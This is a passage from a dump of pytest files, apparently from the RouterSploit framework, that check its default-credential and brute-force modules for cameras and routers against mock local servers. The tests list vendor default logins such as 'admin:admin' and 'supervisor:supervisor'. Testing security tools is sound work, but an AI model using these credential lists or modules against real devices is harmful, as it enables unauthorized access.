    "content": "from routersploit.modules.creds.cameras.stardot.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/vacron/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/vacron/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.vacron.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/vacron/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.vacron.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/vacron/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.vacron.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/videoiq/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/videoiq/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.videoiq.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"supervisor:supervisor\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/videoiq/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.videoiq.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"supervisor:supervisor\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/videoiq/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.videoiq.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"supervisor:supervisor\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/generic/test_ftp_bruteforce.py",
    "content": "from routersploit.modules.creds.generic.ftp_bruteforce import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 8\n    assert exploit.usernames == [\"admin\"]\n    assert type(exploit.passwords) is list\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/generic/test_ftp_default.py",
    "content": "from routersploit.modules.creds.generic.ftp_default import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 8\n    assert type(exploit.defaults) is list\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/generic/test_http_basic_digest_bruteforce.py",
    "content": "from routersploit.modules.creds.generic.http_basic_digest_bruteforce import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenerio - testing against HTTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 8\n    assert type(exploit.usernames) is list\n    assert type(exploit.passwords) is list\n    assert exploit.path == \"/\"\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n"
  },
  {
    "path": "tests/creds/generic/test_http_basic_digest_default.py",
    "content": "from routersploit.modules.creds.generic.http_basic_digest_default import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenerio - testing against HTTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 8\n    assert type(exploit.defaults) is list\n    assert exploit.path == \"/\"\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n"
  },
  {
    "path": "tests/creds/generic/test_snmp_bruteforce.py",
    "content": "from routersploit.modules.creds.generic.snmp_bruteforce import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenerio - testing against SNMP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 161\n    assert exploit.version == 1\n    assert exploit.threads == 8\n    assert type(exploit.defaults) is list\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n"
  },
  {
    "path": "tests/creds/generic/test_ssh_bruteforce.py",
    "content": "from routersploit.modules.creds.generic.ssh_bruteforce import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 8\n    assert exploit.usernames == [\"admin\"]\n    assert type(exploit.passwords) is list\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/generic/test_ssh_default.py",
    "content": "from routersploit.modules.creds.generic.ssh_default import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 8\n    assert type(exploit.defaults) is list\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/generic/test_telnet_bruteforce.py",
    "content": "from routersploit.modules.creds.generic.telnet_bruteforce import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 8\n    assert exploit.usernames == [\"admin\"]\n    assert type(exploit.passwords) is list\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/generic/test_telnet_default.py",
    "content": "from routersploit.modules.creds.generic.telnet_default import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 8\n    assert type(exploit.defaults) is list\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/2wire/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/2wire/test_ftp_default_creds.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.creds.routers.2wire.ftp_default_creds\")\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/2wire/test_ssh_default_creds.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.creds.routers.2wire.ssh_default_creds\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/2wire/test_telnet_default_creds.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.creds.routers.2wire.telnet_default_creds\")\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/3com/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/3com/test_3com_ftp_default_creds.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.creds.routers.3com.ftp_default_creds\")\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/3com/test_3com_ssh_default_creds.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.creds.routers.3com.ssh_default_creds\")\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/3com/test_3com_telnet_default_creds.py",
    "content": "from routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.creds.routers.3com.telnet_default_creds\")\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/asmax/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/asmax/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.asmax.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"support:support\", \"user:user\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/asmax/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.asmax.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"support:support\", \"user:user\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/asmax/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.asmax.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"support:support\", \"user:user\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/asmax/test_webinterface_http_auth_default_creds.py",
    "content": "from flask import request, Response\nfrom base64 import b64decode\nfrom routersploit.modules.creds.routers.asmax.webinterface_http_auth_default_creds import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    if \"Authorization\" in request.headers.keys():\n        creds = str(b64decode(request.headers[\"Authorization\"].replace(\"Basic \", \"\")), \"utf-8\")\n\n        if creds in [\"admin:admin\", \"support:support\", \"user:user\"]:\n            return \"Authorized\", 200\n\n    resp = Response(\"Unauthorized\")\n    resp.headers[\"WWW-Authenticate\"] = \"Basic ABC\"\n    return resp, 401\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/\", methods=[\"GET\", \"POST\"])\n    cgi_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"support:support\", \"user:user\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/asus/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/asus/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.asus.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"root:root\", \"Admin:Admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/asus/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.asus.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"root:root\", \"Admin:Admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/asus/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.asus.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"root:root\", \"Admin:Admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/belkin/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/belkin/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.belkin.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/belkin/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.belkin.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/belkin/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.belkin.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/bhu/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/bhu/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.bhu.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/bhu/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.bhu.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/bhu/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.bhu.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/billion/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/billion/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.billion.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/billion/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.billion.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/billion/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.billion.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/cisco/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.cisco.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/cisco/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.cisco.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/cisco/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.cisco.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/comtrend/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/comtrend/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.comtrend.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/comtrend/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.comtrend.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/comtrend/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.comtrend.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/dlink/test_ftp_default_creds.py",
